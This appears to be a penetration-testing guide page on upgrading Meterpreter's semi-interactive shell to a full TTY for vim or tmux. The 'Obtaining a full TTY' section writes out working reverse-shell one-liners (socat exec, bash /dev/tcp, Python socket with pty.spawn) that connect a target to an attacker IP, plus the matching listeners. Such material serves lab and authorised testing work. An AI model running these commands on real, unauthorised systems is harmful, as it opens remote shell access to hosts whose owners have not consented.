Fully Interactive TTY
These steps are for work that needs terminal control, such as vim or tmux. They explain the limits of Meterpreter’s shell and how to obtain a full TTY on the attacker machine.
Comparing the methods
Section titled “Comparing the methods”| Connection method | vim / tmux / arrow keys and history |
|---|---|
Meterpreter shell | Semi-interactive; poorly suited to vim or tmux |
Meterpreter shell -t / shell -it | Starting or using a PTY can fail in some environments |
| Command-shell session received in msfconsole | Ctrl-Z backgrounds the session, making TTY adjustment difficult |
Reverse shell received directly by socat / nc on the attacker machine | Can be made into a full TTY |
To keep the Meterpreter session while using a full TTY, receive a separate reverse shell outside msfconsole.
Limits of Meterpreter’s shell
Section titled “Limits of Meterpreter’s shell”The shell described in Meterpreter Operations is a semi-interactive shell whose standard input and output are connected through a channel. It has these limits:
- Arrow keys, tab completion, and command history often do not work as expected.
Ctrl-Ztriggers Meterpreter’sbackgroundrather than job control in the target shell.- As a result, the usual TTY adjustment (
stty raw -echo; fg) cannot be completed inside Meterpreter.
Related upstream changes:
shell -t(shell with a PTY): PR #10389shell -it(fully interactive): PR #15522; motivation in Issue #14369
The -i option for shell -it is controlled by the fully_interactive_shells feature flag, which is disabled by default. Upstream notes say its development has stalled and interaction can lag over slow transports such as mettle’s HTTP connection.
Where to run features
Section titled “Where to run features”features is an msfconsole command. It does not run at the meterpreter > prompt.
meterpreter > backgroundmsf6 > features printmsf6 > features set fully_interactive_shells truemsf6 > sessions -i 1Even with the feature flag enabled, it may fail on a mettle target (where sysinfo reports a BuildTuple of *-linux-musl).
Common errors
Section titled “Common errors”meterpreter > shell -it[*] env TERM=xterm HISTFILE= /usr/bin/script -qc /bin/bash /dev/nullProcess 1889 created.Channel 2 created.id[-] core_channel_write: Operation failed: 32meterpreter > execute -f /bin/bash -c -i -pProcess 1903 created.Channel 4 created.id[-] core_channel_write: Operation failed: 9| Code | Meaning (Linux) | Possible cause |
|---|---|---|
| 32 | EPIPE (Broken pipe) | A child process started by script or another tool exited immediately, disconnecting stdin |
| 9 | EBADF (Bad file descriptor) | The file descriptor used to write to the PTY channel is invalid |
-i is not registered by default. Check available options with shell -h. Also test whether regular shell works, to distinguish a general failure from one specific to the PTY shell.
sysinfoshellObtaining a full TTY through a separate reverse shell
Section titled “Obtaining a full TTY through a separate reverse shell”1. socat (recommended)
Section titled “1. socat (recommended)”On the attacker machine, in a terminal separate from msfconsole:
socat file:`tty`,raw,echo=0 tcp-listen:5555On the target, inside meterpreter > shell:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.16.10:5555The attacker machine’s terminal starts in raw mode, so vim and tmux usually work without an extra stty step. Replace 10.10.16.10 with an attacker-machine IP address reachable from the target.
2. nc with TTY adjustment
Section titled “2. nc with TTY adjustment”On the attacker machine:
nc -lvnp 5555Connect a reverse shell from the target, inside Meterpreter’s shell. This example uses bash’s /dev/tcp.
bash -c 'bash -i >& /dev/tcp/10.10.16.10/5555 0>&1'If Python 3 is available:
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.10.16.10",5555));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'Adjust the TTY in the terminal running nc. First run stty size on the attacker machine and note the row and column counts. Replace 40 and 120 below with those values.
# On the target shell, if it does not already have a PTYpython3 -c 'import pty;pty.spawn("/bin/bash")'
# Return to the local job with Ctrl-Zstty raw -echo; fgresetexport SHELL=bashexport TERM=xterm-256colorstty rows 40 cols 120You can now use vim or tmux.
3. Receive the initial command shell outside msfconsole
Section titled “3. Receive the initial command shell outside msfconsole”If you expect to need a full TTY often, receive the initial reverse shell with socat or nc instead of multi/handler. If you later need Meterpreter, open a separate Meterpreter session from that shell or follow the upgrade steps in Handlers and Listeners.
Choosing a method
Section titled “Choosing a method”| Task | Method |
|---|---|
| File transfer, post modules, port forwarding, credential checks | Meterpreter session |
| Quick command checks | Meterpreter shell |
| vim / nano / tmux / interactive su or ssh | socat / nc shell received outside msfconsole |
| Try a full TTY inside Meterpreter | Check the shell -it feature flag and target environment |

